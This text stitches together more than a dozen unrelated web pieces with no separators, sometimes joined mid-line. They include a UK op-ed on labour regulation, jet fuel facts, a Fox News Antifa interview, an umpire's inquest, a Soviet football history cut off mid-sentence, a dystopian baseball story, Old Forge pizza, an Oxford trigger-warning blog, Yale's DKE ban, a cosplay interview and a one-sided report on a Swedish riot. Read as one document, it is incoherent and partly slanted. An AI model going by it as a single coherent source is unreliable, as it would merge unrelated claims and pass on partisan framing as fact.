The Tory right and their unwitting supporters on the left are essentially making zombie arguments. They have been defeated by evidence and experience but refuse to lie down and die. To begin with, the UK has one of the most lightly regulated labour markets of any major economy in the developed world. Only the USA has less protection for workers. Indeed, on almost every regulatory indicator that one could imagine, the UK emerges as a "liberal" economy. Despite the endless whining from the CBI and the small business lobby there is really very red tape left to cut. Of course, businesses -- and the Conservative Party -- always prefer less to more regulation. That is their ideological default setting. But the UK has now reached the point where another assault on employment rights or health and safety legislation will begin to remove necessary protections. David Cameron's own review, supervised by the Swedish academic Ragnar Lofstedt, concluded that there was no case for radically altering or stripping back current health and safety regulations, which he described as "fit for purpose". He also failed to find that EU regulations were in any sense gold-plated when transposed into UK law.
No doubt Fox and his acolytes will continue to assert that sweeping away employment protection could still deliver a significant jobs boost. They would say that this is merely common sense: making it easier to fire people will obviously encourage employers to recruit new workers. Yet countries with more regulated labour markets (most notably the Nordics) enjoyed employment records just as good as the UK's during the boom years. And Germany, with its supposedly sclerotic labour market, weathered the recession with lower unemployment than the USA. The most comprehensive assessment of the relationship between employment protection legislation and jobs was published by the OECD in 2006, with findings that run counter to the orthodox prescriptions of the right: careful analysis could establish no causal relationship between the strength of employment law and jobs performance over the course of the economic cycle.
Perhaps the Conservatives would benefit from looking at what happened on their watch in the 1980s and in the early period of New Labour. When the qualifying period for unfair dismissal protection was increased from one to two years, unemployment continued to rise. And when New Labour cut the qualifying period to one year, unemployment fell.
The case for freezing the youth minimum wage might appear to have a stronger foundation. It is clear that youth unemployment is too high, that the risk of a lost generation is real and that action is needed. Moreover, the international evidence also shows that applying the full minimum wage at the age of 18 can have a negative impact on youth unemployment. For example, in France, orthodox studies have shown that minimum wage increases youth unemployment in the range of 0.1-0.2 per cent -- although even the strongest minimum wage sceptic would have to admit that this is a very small effect. A similar analysis of the US experience suggests that teenage (rather than youth) unemployment may be 2-3 per cent higher as a result of the Federal minimum wage. Yet other studies point in the opposite direction. In their classic Myth and Measurement: The New Economics of the Minimum Wage, David Card and Alan Krueger found no negative impact on teenage employment from the Federal minimum wage increases implemented in the 1990-91 recession. The Netherlands implemented significant minimum wage cuts for young workers in the early 1980s during a very severe recession with no positive impact on jobs. And in the UK, removing young workers from wages councils' protection in 1986 did not produce the fall in youth unemployment anticipated by Tory ministers.
Perhaps the best interpretation of these conflicting studies is that youth minimum wages need to be handled with care. There is a strong case for specific lower rates for young workers and an equally strong case that cuts in youth minimum wages have no positive employment effects. Freezing or cutting the youth minimum wage is precisely the wrong policy to apply in an economy where the real problem is a deficiency of demand. Moreover, it suggests that the government is more than willing to abandon basic principles of fairness when the going gets tough, for reasons that have more to do with ideology than good economics. A government that was really concerned about youth unemployment would be more focused on a short-term fiscal stimulus and the reintroduction of a youth employment guarantee than tinkering with the minimum wage regime.
A cursory glance at the evidence suggests that the right are just wrong about regulation and jobs. The left should be confident in making the contrary argument and must ignore those siren voices encouraging us to accept the standard economic model. "Fairness in tough times" should be the mantra. There is no case for making the low paid and vulnerable pay the price for the excesses of those at the top.
David Coats is a research fellow at the Smith InstituteA jumbo jet uses around 5,000 gallons (almost 19,000 liters) of fuel to take off and climb to cruising altitude. This is about a tenth of its entire fuel capacity. Once airborne, most jumbo jets use about five gallons (19 liters) of fuel per mile. It gets more miles per gallon (or liter) the longer the airplane is in the air, since it gets lighter as it burns fuel.
More facts about jets::
Approximately 40% of a typical airline's operating budget goes to buying fuel.
The fleet of 747s has flown over 3.5 billion people — the equivalent of over half of the world's population as of 2010.
The flight of the Wright brothers at Kitty Hawk lasted about 150 feet (45 m). This is less than the length of many economy class cabins in jumbo jet airplanes.
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Post 1 Is the gal/mile also per engine? Post your comments Post Anonymously Please enter the code: Login username password forgot password? Register username password confirm emailOn his show Saturday, Fox News host Jesse Watters debated a young Antifa member from Boston who recently wrote a letter calling on his fellow anti-Trump comrades to use violence to oust President Donald Trump from office.
So-called Antifa protesters — short for "anti-fascist" — protested nationwide on Saturday. They unequivocally oppose Trump and his administration and often use violence against Trump's supporters. They are attributed to violent protests that ravaged Washington D.C., during Trump's inauguration, in addition to many, many other clashes across the country, including violence protests in Berkeley, California.
Indeed, the Antifa protesters are brazen about their use of violence. One member from Boston, who only identified himself to Fox News as "Kevin" for fear of being doxxed, recently wrote on essay on an anarchist website that said violence should be used to oust Trump from office.
"It is time for liberals and progressives to lose their illusions about the anarchist movement and our tactics because, quite frankly, you have no one else willing to fight for you," Kevin wrote.
And once live on his show via Skype, Watters wasted no time grilling Kevin.
He began by questioning Kevin over a comment he made to one of the Fox producers, where he reiterated that if it takes violence to get what his movement wants, then "so be it." But when pressed, Kevin backtracked and accused Watters of mischaracterizing his comments.
"We only want violence in self-defense from aggression by these racists and xenophobes that come and attack us at our peaceful protests," Kevin claimed.
Watters followed up by questioning who exactly is attacking the Antifa groups. Kevin claimed it has been "racists."
"Klan members have been attacking you guys?" Watters inquired.
"Right-wing Trump supporters. Trump supporters fall under that category," Kevin clarified, explaining that all of Trump's supporters are racist.
While Kevin was making those claims, Watters was playing clips of Antifa members attacking people at violence protests.
"We're looking at video right now...and we don't see a lot hand-to-hand combat, we just see a lot of your crew smashing windows and lighting things on fire," Watters said. "How is that self-defense?"
When pressed on the issue, Kevin said all of the violent action Antifa members take is in response to "right-wing aggression."
"Was it in self-defense when you firebombed a limousine during the inauguration?" Watters shot back.
"Yes," Kevin replied matter-of-factly.
When cornered with the fact that the owner of that limousine was a Muslim immigrant, Kevin began to dodge Watters' points.
"Well, you know, a lot of violence committed by so-called Antifa members is actually committed by these right-wingers, who basically seek to make us look bad," Kevin said.
Watters then asked whether or not a police horse that was stabbed in the neck by an Antifa member last month was a "racist Trump supporter." Kevin said the horse was because the animal belonged to the police, who Kevin alleged are waging a war against American minorities like people of color and immigrants.
When asked what is group's goal is, Kevin said its to "smash the fasc," explaining that the "fascists" are "right-wingers who attack us." Unsurprisingly, Kevin said he voted for Hillary Clinton in last year's presidential election, but was originally a supporter of Sen. Bernie Sanders (I-Vt.).The question an 11-year-old girl from Malden posed to President Obama this week has riled conservative critics who insist the girl was a plant by the White House.
The critics point to campaign donations and other partisan affiliations of the girl’s mother, Kathleen Manning Hall, who was an early Obama supporter. But a White House spokesman insisted yesterday that audience members had been selected randomly.
“The president asks people to raise their hands and picks on them,’’ White House spokesman Robert Gibbs said at his daily briefing.
The girl, sixth-grader Julia Hall, asked Obama what she and other children should make of the signs outside his town hall meeting in Portsmouth, N.H., that were “saying mean things’’ about his health care proposal.
“How do kids know what is true, and why do people want a new system that can, that help more of us?’’
In her online column, conservative columnist Michelle Malkin said, “As we always like to point out: There are no coincidences in Obama world.’’
The Washington Times also weighed in, and online critics found a 2008 post by Manning Hall on Blue Mass Group, a Democrat-learning political site in Massachusetts. In the post, Manning Hall asks readers for their support in her quest to become a delegate to the Democratic National Convention.
“I realized Barack Obama was a unique politician the first time I heard him speak, at the 2004 Democratic National Convention, where I was a volunteer,’’ she wrote. “I was simply blown away by his inspirational message, and I continued to follow his career.’’
Manning Hall denied yesterday that her daughter was used as a plant by the administration.
“A 100 percent flat denial, completely,’’ she said, adding that her daughter had told her before Obama began fielding questions that she wanted to ask one. The two discussed the question, Manning Hall said, and her daughter wrote it down on a slip of paper.
Manning Hall also said that prior to 2008, she had never worked in politics, beyond contacting her city councilor about local street repairs and other issues.
She has said that she had worked as a coordinator during the campaign for Massachusetts Women for Obama. The group had 93 members and raised nearly $9,000 during the campaign, according to online records.
Manning Hall was named Malden Democrat of the Year at a ceremony in March. She donated $1,750 to the Obama campaign, according to the Center for Responsive Politics, which tracks campaign contributions.
She is listed as a legal assistant at Looney & Grossman, a Boston law firm. Employees of the firm donated $3,000 to the Obama campaign, according to the center.
Tarah Donoghue, a spokeswoman for the Republican Party of Massachusetts, declined to comment on the allegations that Manning Hall’s daughter was a plant.
But she took exception to news reports of “angry mobs’’ protesting against Obama’s health care plan at town hall meetings across the country.
“They’re American people,’’ Donoghue said. “And they’re citizens rising up against a change they quite frankly don’t believe in. We encourage people to do it in a respectful manner.’’
© Copyright 2009 Globe Newspaper Company.Alcwyn Jenkins had been a cricket umpire for 25 years An experienced umpire died after an "unfortunate accident" when he was hit on the head by a cricket ball during an attempted run out, an inquest heard. Alcwyn Jenkins, 72, of Skewen, had his back to fielder Stephen Davies when he threw the ball at the stumps at Swansea's St Helen's ground last July. Mr Davies had known Mr Jenkins since he had coached him from the age of 10. Recording a verdict of accidental death coroner Philip Rogers said Mr Jenkins' family in no way blamed Mr Davies. He said Mr Jenkins' son Paul had told him he took "some consolation" in the fact his father "was doing something he loved at the time of his death." Since the death of his wife the inquest heard Mr Jenkins had "devoted his life to his grandchildren and his second love cricket." The inquest heard Mr Jenkins was umpiring a match between Swansea and Llangennech on the afternoon of 4 July 2009. It was only after I had thrown the ball that I saw that Alcwyn was in the way
Stephen Davies, fielder Around 1630 BST Swansea were at the crease and the two batsmen went for a quick single. Mr Davies, who was fielding, described how in one motion he caught the ball and turned quickly to throw it at the stumps. "It was only after I had thrown the ball that I saw that Alcwyn was in the way," he said. "There was a couple of shouts - it just happened so quickly." Pc Michael Chislett, who investigated the death, told the inquest Mr Jenkins had his back to the fielder as he moved into position to determine if there was a run out. "Unfortunately Alcwyn moved with his back to Stephen so did not see the ball that had been thrown in his direction." PC Chislett said a number of players shouted a warning but the ball struck Mr Jenkins on the right side of his head. Either he had not heard the warnings, had not had time to react or "had been so professional he did not want to take his eyes off the stumps", added Pc Chislett. When he collapsed players and officials rushed to his assistance but he was unconscious. Mr Jenkins was flown by air ambulance to Swansea's Morriston Hospital where he was later pronounced dead. A post mortem examination found the widower had died as a result of a head injury. Mr Rogers said the incident that led to the death was a "normal everyday part of the game." He said: "It was a most unfortunate accident."
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StumbleUpon What are these? E-mail this to a friend Printable versionJourney from the Iron Curtain to Perestroika: Soviet and Russian Football
Written by Kinshuk Biswas on
Soviet Union national team crest
Beginnings
The Russian revolution occurred in 1917, after which the entire country was under the grip of a terrible civil war for the next six years which led to a large scale loss of lives and property. There was no time for football or any sports during this period. The first official match played by the Soviet national team was on November 16, 1924 against Turkey which resulted in a 3-0 Soviet victory. There was an unofficial match played against the then independent nation of Estonia in 1923 which was won 4-2 by the Soviets. The national team was sponsored by the state and main emphasis was laid more on Olympics than on the World Cup. However, the team qualified for seven final editions of the tournament from 1958 to 1990, with the exception of 1974 and 1978. The results in the Olympics were far more spectacular with two gold medals and three bronze medals. In the UEFA Euro Cup they won the inaugural tournament in 1960 and finished runners up in three occasions. The Soviet national team also won the inaugural Under |
A lone seagull, its feathers a dingy gray, found its way into the stadium. It glided in heavy arcs, scanning for leftover bits of caramel corn in the empty bleachers, but the vendors and their wares were gone. It knew the stadium, had been here many times, but the waste bins were empty, the last ketchup-stained wrappers picked apart. The only foods that remained were the hot dogs and the pizza slices and the garlic fries, all locked within sanitary glass displays, bathed under unblinking heat lamps. From somewhere, a T-shirt cannon fired and struck the bird, breaking a hollowed wing. It hurtled into the left field bleachers, struck an aluminum bench with a crunch, and died.
The Streaks: Drysdale and Hershiser in Parallel by Shane Tourtellotte Two consecutive scoreless innings pitched streaks bound two hurlers together in history.
Upon its impact, the stadium roared to life. Fireworks erupted from a hidden cannon, vibrant with chemical life, unnatural dancing blues and pinks, tumbling across pictures and songs of synthetic joy.
Moments later, a robot slid down the ramp, its broom raised. Soon, the seagull was gone.
…
Bottom of the fifth. The stadium began to die.
The grand slam added four runs to the score, driving the integer beyond the computer’s capacity. It replaced the number with a symbol of a crown and a letter Q. For a moment, nothing happened, the clock winding down, but then somewhere another number divided by that number. The out-of-town scoreboard displayed names of cities that never existed. The counts ran full, then overfull. A dozen walk-up songs played at once, a cacophony of exuberance.
The robots began to clean each other, shrieking with the grinding of metal. The roof rocked back and forth like a disconsolate mother. Machines spat tickets to games that would never be played. Smoke poured out from grills, hamburgers burning on high flames, grease spitting. A robotic vendor, a catapult on wheels, flung hot dogs into random empty seats.
A ball return fired baseballs from behind the plate back to the pitcher’s mound. They struck a small riding mower in the infield grass, knocking it over, continuing to pound ball after ball into the fuselage. Another mower struck the first, sparks catching leaking fuel, and suddenly the infield was alight. The grass burned quickly. Smoke detectors blared as the field burned, catching the fabric of the walls, the wind whipping it upwards and outwards. The dry air itself seemed to burn. The T-shirt cannon fired ammunition through the flames, sending fireballs into the upper decks. The fire roared like applause.
…
Bottom of the fifth. The sun did not rise, but the thick gray haze grew orange in the east. Smoke hung over the stadium, now silent, except for a single voice stuttering from a speaker in an overturned brick wall.
“We apologize… rain delay… canceled. The game… made up on…” A pause, and then a different, identical voice, whispering: “It’s a beautiful day for a ballgame… it’s a beautiful… ballgame…”
References & ResourcesArcaro & Genell’s red tray is a thing of beauty: Crunchy-bottomed dough, well-seasoned homemade sauce, and a gooey cheese blend that includes mozzarella and cheddar. (Photo11: Julie Jordan)
When you see the words “Pizza Capital of the World,” where do you think of? Naples, Italy? Brooklyn? Well, according to some, it’s the little town of Old Forge, Pa. (You’re excused for thinking, “huh?”)
While the claim may be self-imposed, Old Forge does have some strong pizza cred. The former mining town of about 8,000 people in Lackawanna County (five miles from Scranton) in Northeast Pennsylvania, has a rich history of coal mining and textile factories, but what it’s most known for these days is its distinct style of pizza. This is not New York-style, Neapolitan or deep dish — or any other style you may have heard of — they have their own type of pizza that is really unique.
Ghigiarelli’s is believed to be where what’s now known as Old Forge pizza originated. It’s said that in 1926, Grandma Ghigiarelli served a rectangular pizza to the miners that used to play cards at the bar she owned with her husband. It was an instant hit. Today, more than a dozen pizza cafes (as they’re called locally) along Main Street serve Old Forge pizza.
Some key qualities define Old Forge pizza. First, a whole pizza is not called a pie but a tray — the pizza is baked on rectangular metal pans, and there are no slices, just cuts.
“Sometimes people call and order a pie and we go, ‘Do you want apple or blueberry?’” jokes Angelo Genell, whose family has owned Arcaro & Genell, one of the town’s most well-known pizza shops, since 1962.
Old Forge pizza has a crust that’s lighter than a typical thick crust, and crispy on the bottom with a chewy center. There are two types of Old Forge pizza: red and white. On a red, the sauce is on the sweeter side, and sometimes has diced onions. It’s topped with a blend of cheeses that may include mozzarella, American and cheddar, depending on the restaurant. A white pizza is stuffed, with a layer of dough on top and bottom. The top layer is usually covered in herbs and sometimes thin slices of onion. Inside, there’s no sauce, just a ton of cheese and any other fillings you choose, like spinach or broccoli.
With so many places to get pizza you’d think the cafes would be competitive. Not so.
“All the places make really good pizza,” says Genell. “You’ll have people buy pizza on Friday from one person, on Saturday from somebody else, and on Tuesday from somebody else. There’s not a bad pizza in Old Forge.”
Get a sneak peek inside some of Old Forge’s best pizza cafes in the gallery above, and celebrate more of the country's pizza capitals below.
Read or Share this story: http://usat.ly/2k2c7LaA leading criminal barrister has called Oxford law students “delicate flowers” after it was reported lecturers should consider using a trigger warning before discussing the law on rape.
Matthew Scott tweeted at lunchtime yesterday saying “Delicate Oxford flowers given trigger warning before learning about law of rape”. His tweet linked to another account which suggested Oxford students were too “fragile” to study law.
Delicate Oxford flowers given trigger warning before learning about law of rape. Via @CrimBarrister https://t.co/INSgSchcFT — Matthew Scott (@Barristerblog) May 8, 2016
Scott backed up his comments by referring to the Daily Mail, which, on close reading (a skill taught at the very first steps on any legal education) reveals this hostile backlash has resulted from the director of undergraduate studies for law merely suggesting that lecturers “bear in mind” the use of trigger warnings.
Responses to the barrister’s tweet suggested students ought to “man-up.” Clearly Oxford students have forgotten that sensitivity doesn’t conform to the standards of hyper-masculinity needed for any and every legal career. Please excuse us while we focus our energies on conforming to gender stereotypes in order to progress, and the females amongst us accept lower pay-checks and lesser roles. (Who cares if you got a first if you’re not the superior sex?)
Matthew Scott, described by his chambers as “a specialist criminal advocate with considerable expertise in defending allegations of rape and child cruelty,” continued on his Twitter hate campaign by suggesting sarcastically that students perhaps “thought that law was just about the Leasehold Enfranchisement Reform Act 1967”.
But would it be so hard to believe that those who he refers to as ‘high-fliers’ obtain a place on their degree unaware of content they might be studying, when Scott himself has made it evident that achievement and ignorance are not mutually exclusive?
Let’s get a few things straight:
Lectures are not the conclusive aggregate of the Oxford law degree
Professor Hoyano, an Oxford lecturer, told the Mail on Sunday: “If you’re going to study law, you have to deal with things that are difficult,” but even she would know that there are many other elements to the learning process that take place outside the lecture theatre. Missing, or leaving a lecture, would not automatically exclude you from covering certain material. Introducing a simple sentence at the beginning of a lecture, diverting approximately 0.002 per cent of the lecture time, to pre-warn students that some of the information about to be covered could be distressing for some, allows people to make a choice for themselves about what they’re comfortable with and where they want to deal with it.
Suggesting that someone should anticipate what’s coming in a lecture anyway is stupid
Sure, with criminal law you’d expect nasty cases. Yes, sexual offences lectures are going to discuss sexual offences. But as one student pointed out, when you’re going to a lecture on economic loss, you wouldn’t generally anticipate half of it being dedicated to the Hillsborough tragedy.
Can we stop for a second and just celebrate the fact the Oxford is taking positive steps towards mental health awareness?
This is not an ‘everything offends’ argument. Students are not being ‘fragile’ or ‘over-sensitive.’ The introduction of a DISCRETIONARY trigger warning is not going to cause every law student to drop sticks and walk out of a lecture. This is a hugely beneficial and valuable step towards recognition and awareness of mental health, and shows a lot of respect to those that may have suffered traumatic experiences.
TV shows often contain warnings for graphic violence, and nobody bats an eye-lid about it. Oxford University suggests the inclusion of a sentence at the beginning of a lecture and suddenly students are melodramatic and inept.
Knowing nothing of Mr Scott’s personal experiences in the progression of his career, I cannot say whether he has ever experienced anything which he might find to be traumatic if discussed with him unexpectedly. However, I can say that I know several hugely intelligent, competent, ‘high-flying’ law students who would very much appreciate the inclusion of a trigger warning with regards to certain content in lectures, who are very well-fitted to their choice of degree and future career.
Lots of love,a delicate flower xREDFORD TOWNSHIP, Mich. - Police in Redford Township are looking for a woman who, police said, stole cash from a classroom Wednesday evening at Beech Elementary School.
She entered the school about 4:45 p.m. when classes were not in session. She went to an unoccupied classroom and stole cash that was being collected for a student field trip.
Surveillance cameras captured images of the woman, police said. She is described as a white woman with long, brown hair. She was wearing a dark hooded sweatshirt with three white skulls on it.
Anyone with information is asked to call the Redford Township Police Department at 313-387-2555 and refer to case No. 15-8301.
Copyright 2015 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Yale Alumni Magazine
Around 9:30 p.m. on Oct. 13, 2010, Delta Kappa Epsilon pledges filed into Old Campus, chanting the now-infamous lines: “No means yes, yes means anal.”
Footage of the incident quickly went viral, drawing condemnation from the Yale community and beyond. After a six-month investigation, the Yale College Executive Committee imposed a five-year ban on DKE in May 2011. The penalties prevented the group from associating itself with Yale, holding on-campus events and using Yale email or bulletin boards to communicate with students.
But despite the high-profile punishment, the actual execution of the ban and its lifting this May went largely unnoticed, raising questions about the efficacy of disciplinary action on Greek organizations.
“We wrestle with it,” Dean of Yale College Jonathan Holloway said in reference to the efficacy of bans on campus groups. “We can only do so much to stop behavior.”
Burgwell Howard, senior associate dean of Yale College, said it is a challenge to address the relationship between Greek organizations and the University because Yale cannot mandate training or implement certain kinds of incentives.
Still, Holloway pointed that “the Yale name means something,” adding that for example, removing a student group’s access to the yale.edu internet domain sends an important symbolic message.
“We’re saying that you cannot involve the University in this behavior that we find repugnant. That’s called signaling, and if we didn’t do that, we’d have failed the community,” Holloway said.
Still, Luke Persichetti ’17, current president of DKE, said in a statement to the News that the ban has effected change within the fraternity.
“I believe the sanctions had a positive impact on the culture of our fraternity,” Persichetti said. “Our current members understand the history of the ban and have played an important part in the cultural shift that has taken place since then.”
Jordan Forney ’11, president of Yale’s DKE chapter during the chanting incident, declined to comment for this article.
Considering the balance between DKE’s role as a member of an international organization and its identity within the Yale community, Persichetti explained that while the national chapter controls risk management, recruitment and general governance, the local DKE chapter treasures its role on campus and welcomes “any and all constructive input” from the University.
Skyler Inman ’17, founding president of the Alpha Phi sorority and director of the Yale College Council’s Greek life task force last year, acknowledged the struggle for the University to regulate Greek organizations not affiliated with the school.
“A campuswide ban still can’t affect these groups’ ability to host off-campus parties in their own homes, which is the main social capital that groups like this have,” Inman said. “I think the fact that many students are or were unaware of these bans speaks to their inefficacy, but that doesn’t mean that the bans don’t hurt the groups’ recruitment or presence on campus.”
For Leo, a fraternity at Yale formerly associated with Sigma Alpha Epsilon, an on-campus ban had little impact on regular activities. In February 2015, Leo was banned from campus for 18 months after the University ruled that the fraternity violated sexual misconduct policies.
In a previous interview with the News, Jesse Mander ’18, president of Leo, noted that Leo — like all fraternities at Yale — is located off campus, and as a result the ban “didn’t affect [it] that much.” He added, however, that Leo looks forward to using its revamped presence on campus to enhance and redefine the role of fraternities at Yale.
Holloway said although the five-year ban for DKE sounds harsh, given that no current members were enrolled at Yale during the 2010 chanting incident, punishments sometimes need to target beyond the perpetrators in order to “flush institutional memory and culture out.” Inman said such events tend to stem more from group culture than individual action.
According to Inman, there has been a broad cultural shift in the Greek community, trending toward transparency, accountability and inclusivity. For example, several fraternities have made an effort to engage more with campus resources such as the Communication and Consent Educators, United Against Sexual Assault at Yale and the Alcohol and Other Drugs Harm-Reduction Initiative. Howard said he initiated a conversation with Greek organizations about collectively joining the University last year and that he will continue to bring up the same question this year.
But other students interviewed said the ban on DKE may not address the root of the problem.
Patrick Sullivan ’18, a communication and consent educator, said the fact that fraternities are beholden to their national chapters — bodies that are independent of the University — puts the school in a difficult position to make policies against these groups. Still, Sullivan said there needs to be structural changes in order for the University to intervene in the groups’ treatment of race, gender, sexual violence and other important issues.
“I think that banning fraternities from activities or banning them as a Yale organization is an important punitive measure the University can take, because what DKE did was unacceptable,” said Sullivan. “I don’t think, however, that banning an organization from on-campus activities does the work of enacting a change in the organization.”
Sullivan said many universities struggle to deal with institutional memory because of student turnover, adding that they are guilty of ignoring the heart of campus problems and instead waiting for the disgruntled students to graduate.
“Yes, a lot of the brothers of DKE were in middle school when this particular event happened, but that doesn’t mean that there aren’t still toxic things that exist in fraternities right now that the University needs to engage with,” he added.
Still, several students interviewed were largely unaware of the DKE ban, speaking to its minimal impact on regular campus life.
Of 17 students interviewed by the News, 10 said they are aware of the chanting incident in 2010 and eight said they know a ban was imposed on DKE as a result. However, none of the interviewees said they knew the ban had been lifted.
Few, if any, current undergraduates were students at Yale when DKE’s ban was announced. And some students interviewed expressed dissatisfaction with the absence of a public notification about the expiration of the ban.
“To achieve a mutual understanding, I think it’s important that the administration, given the events of the last year, has some kind of accountability in terms of transparency,” said Geneva Decker ’17. “As a senior, I didn’t even know there was a ban, and I think it’d be very relevant to a lot of students to hear this news from the University.”
Regardless of the ban’s status, Persichetti said DKE’s diverse makeup — varsity athletes, student government representatives and communication consent educators — contributes to the Yale community “in a positive and meaningful way.”
DKE National Executive Director Doug Lanpher told the News that DKE’s chapter at Yale has continued to flourish even after the ban, adding that DKE is proud of the “rich heritage and an outstanding group of young men” that makes up the Yale chapter.
DKE was founded at Yale in 1844.Over the last year we have captured interviews with over 30 new media artists, curators, designers, and critics, using a new 3D cinema format called RGBD. CLOUDS presents a generative portrait of this digital arts community in a videogame-like environment. The artists inhabit a shared space with their code-based creations, allowing you to follow your curiosity through a network of stories.
What does it feel like to think with code? How can emerging technologies enable us to actualize our dreams? How has online sharing transformed the way artists collaborate?
A preview of the CLOUDS film, science fiction author Bruce Sterling speaks aloud about the art of code.
THE STORY
The creative practitioners featured in the documentary represent a new breed of interdisciplinary artists who combine software engineering, audiovisual design, and cultural engagement. CLOUDS explores the themes of creativity, aesthetics, simulation, and sharing articulated by these luminaries in the computational arts community.
Counter to the widespread perception of code as exclusively utilitarian, this generation of hacker-artists struggles to develop new forms of visual expression, expanding the vocabulary of technology to resonate at a deeper human level. In an increasingly data-driven culture, our subjects act as intermediaries who can help us to navigate and make sense of our evolving digital universe.
Storytellers featured in CLOUDS
The interview subjects in CLOUDS include Bruce Sterling, Casey Reas, Daniel Shiffman, Diederick Huijbers, Elliot Woods, Golan Levin, Greg Borenstein, Jer Thorp, Jesse Louis-Rosenberg, Jessica Rosenkrantz, Joel Gethin Lewis, Josh Nimoy, Julia Kaganskiy, Julian Oliver, Karolina Sobecka, Karsten “Toxi” Schmidt, Kyle Chayka, Kyle McDonald, Lindsay Howard, Marcus Wendt, Marius Watz, Nick Fox-Gieg, Paola Antonelli, Philip Whitfield, Rachel Binx, Regine Debatty, Satoru Higa, Shantell Martin, Sofy Yuditskaya, Theodore Watson, Vera Glahn, and Zachary Lieberman.
A documentary in a videogame environment
The CLOUDS experience is generated from a database of richly tagged interviews. For you, the viewer, the story begins with your curiosity. You input a question or search term as the starting point, setting the initial trajectory. Just as an everyday conversation will often flow through series of digressions, each subject you encounter offers branching paths to unexplored regions of the video collection. A unique narrative experience is generated just for you. You can sit back and watch the story conversation unfold, or let your interaction with the system guide you toward surprising outcomes.
Visualization of the CLOUDS network
The CLOUDS documentary comes in the form of an application for Mac or Windows, presenting a full-screen, immersive, interactive audio-visual experience.
Be the first to experience CLOUDS: own a collectible data capsule
CLOUDS Data capsule with laser etched 3D pointcloud
A collectible object containing the CLOUDS installer Premiere screening at Eyebeam NYC If you are in the NYC area, consider donating for a ticket to our launch at Eyebeam in Chelsea! There you’ll see the film presented as an installation, meet the filmmakers and catch a few CLOUDS participants in person. Clouds: Beta In May we premiered Clouds: Beta, a pilot version of the project in a short video screened at Eyebeam. Since then, we have continued production with the intention of building the documentary in an interactive environment.. A film about creative technologies, using an emerging medium CLOUDS is created with the RGBDToolkit -- an open-source software library we have developed for 3D filmmaking with the Kinect. Using a Microsoft XBOX Kinect depth sensor paired with an HD video camera, our toolkit makes possible the computer-graphic/video hybrid you see above. By supporting CLOUDS, you also support the development of the RGBDToolkit -- helping to make it better for everyone. We welcome you to try it out! RGBD Filmmaking DIY Toolkit The toolkit package contains 3D printable mounts to securely fasten the cameras, and custom software for calibrating, recording data, and visualizing it as full color three dimensional forms. Check out the RGBD tumblr to see the spectacular projects by other filmmakers who have adopted this format.Name: Zacloudseth
Location: Toronto, ON, Canada
Twitter: @Zacloudseth
Facebook: https://www.facebook.com/Zacloudseth
Photographer(s): Kevin Chan Photography, Obscura Vista, Alucard Leased, Eleventh Photography, Cozpho Photography, Hypersapiens, White Desert Sun, M1 Photography and Elysiam Entertainment.
What was your first Cosplay experience?
My first cosplay was an unfortunate rendition of Axel from Kingdom Hearts 2 before I knew a single iota about wigs, proper sewing skills, prop making and so on. I had temporarily dyed red hair, leather winter gloves, clay tassel things wrapped in tinfoil; it was a sight to behold. I’ve never lived it down with my close friends and it was infamously dubbed, coming up in conversation now and then… what an opulent start to my hobby, haha.
How long have you been Cosplaying?
A little over 10 years now. I can hardly believe it’s been so long. I’ve learned a lot for sure, even though I don’t hold the same determination, focus or drive as I did years back, but I’d prefer it this way to be honest. Spent too long stressing over something I should really just take at my own pace. Hobbies are hobbies, and you shouldn’t feel so stressed to the point of sickness over them.
Who or what inspired you to take up Cosplaying?
When I was young a coworker at my first job told me about Anime North and invited me. It was an eye opener and I was more than eager to want to dress up for it given the opportunity. I’d always been crafty at costume making; making a cardboard Boba Fett for Halloween in my younger years at elementary school, and had no idea of a community who did the same. It was a very pleasant discovery for young, out-of-place me back in the day.
If you had to pick a favorite Cosplay you have worn, or have seen someone else wear, what would it be?
I really enjoyed my Handsome Jack cosplay. It probably got the most re-wears out of all of my cosplays and is arguably one of my more comfortable ones, and very easy to get in and out of. I’ve come to realize the comfier the cosplay, the more fun you can have in it. Challenging yourself with more elaborate cosplays can be loads of fun too, but most of the time you’re immobile, can’t easily take breaks for food, washrooms or so on and almost always need a handler. On that note, respect and appreciate your handlers. I’ve only had one person I’ve ever had to handle for who really conveyed just how much my services were needed and appreciated for that day and it really went a long way. It’s still a vivid moment in my life and it meant the world to me. Do not discount or trivialize their efforts, ever.
If you had unlimited funds and resources, what Cosplay would you create?
Oh jeez… I’m not exactly sure. I’d REALLY like to make a full Metal Gear REX cosplay I could maneuver in, similar to those Dinosaur costumes you see people in at parks or on online prank videos. I’d imagine I’d need a hefty budget for that though. Plus transporting that would probably be next to impossible. Then again, unlimited funds and resources… hmmmmm…
What advice would you offer to those who are aspiring Cosplayers?
Don’t get too caught up in the glamour and ‘politics’ of the scene; there are no rules to what you can and can’t cosplay. Don’t be deterred by someone you think ‘wore it better’, or claims ownership over a certain character.
This is not a popularity contest. Most of us in this community are people who were abused in a similar system either at school, work, home or any other institution we didn’t “fit into”. Try not to let it happen in this one. This should be a safe, fun and nurturing environment for everyone, and definitely can be with the right people and attitude. You will make mistakes along the way, but you will learn from them and hone your craft with time and perseverance.
You will hopefully meet a lot of good people, some whom you will connect with so strongly they might be in your life for a while, in and/or outside of the convention scene. Last but not least, do not break the bank or yourself for your hobby. Budget yourself accordingly and manage your time and know that there are sometimes more important things that finishing that costume in time for a certain convention, or to make it to said convention at all. Certain responsibilities should take precedence and no one, especially yourself, should fault you for it. Above all else though, enjoy yourself to the fullest extent however you see fit in a sea of your peers.
To learn more about Zacloudseth, follow him on Twitter: @Zacloudseth and check out his Facebook page: https://www.facebook.com/Zacloudseth
If you or someone you know would like to have a gallery featured on Geeks World Wide, please email Casey at gwwcapescrew@gmail.com!A photographer for left wing newspaper, Dagens Nyheter, one of the biggest newspapers in the country, was attacked by a mob last night, in the “no-go” town of Rinkeby, as riots in Sweden worsen.
In a newspaper report, the unnamed photographer said, “I was met with a lot of punches and kicks on both the body and the head. I have spent the night in the hospital,” to Dagens Nyheter.
The town of Rinkeby is considered a no-go zone, with most of the residents being immigrants from other countries. With the crime rate rising with the number of rising migrants, President Trump called out the violence before it even happened in a press conference earlier this week.
The photographer tried to hide his camera from the mob, but was dropped to the ground and hit, with the camera being taken from him. When he managed to escape, he ran to a nearby gas station where he was able to call the police. The police answered that they did not have enough assistance and he would have to go to the hospital alone.
“I was shocked for hours afterwards. The police eventually came and I made a complaint about the assault and aggravated theft. They said that the chances of the perpetrators or the camera is found is small. Non-existent,” he said.
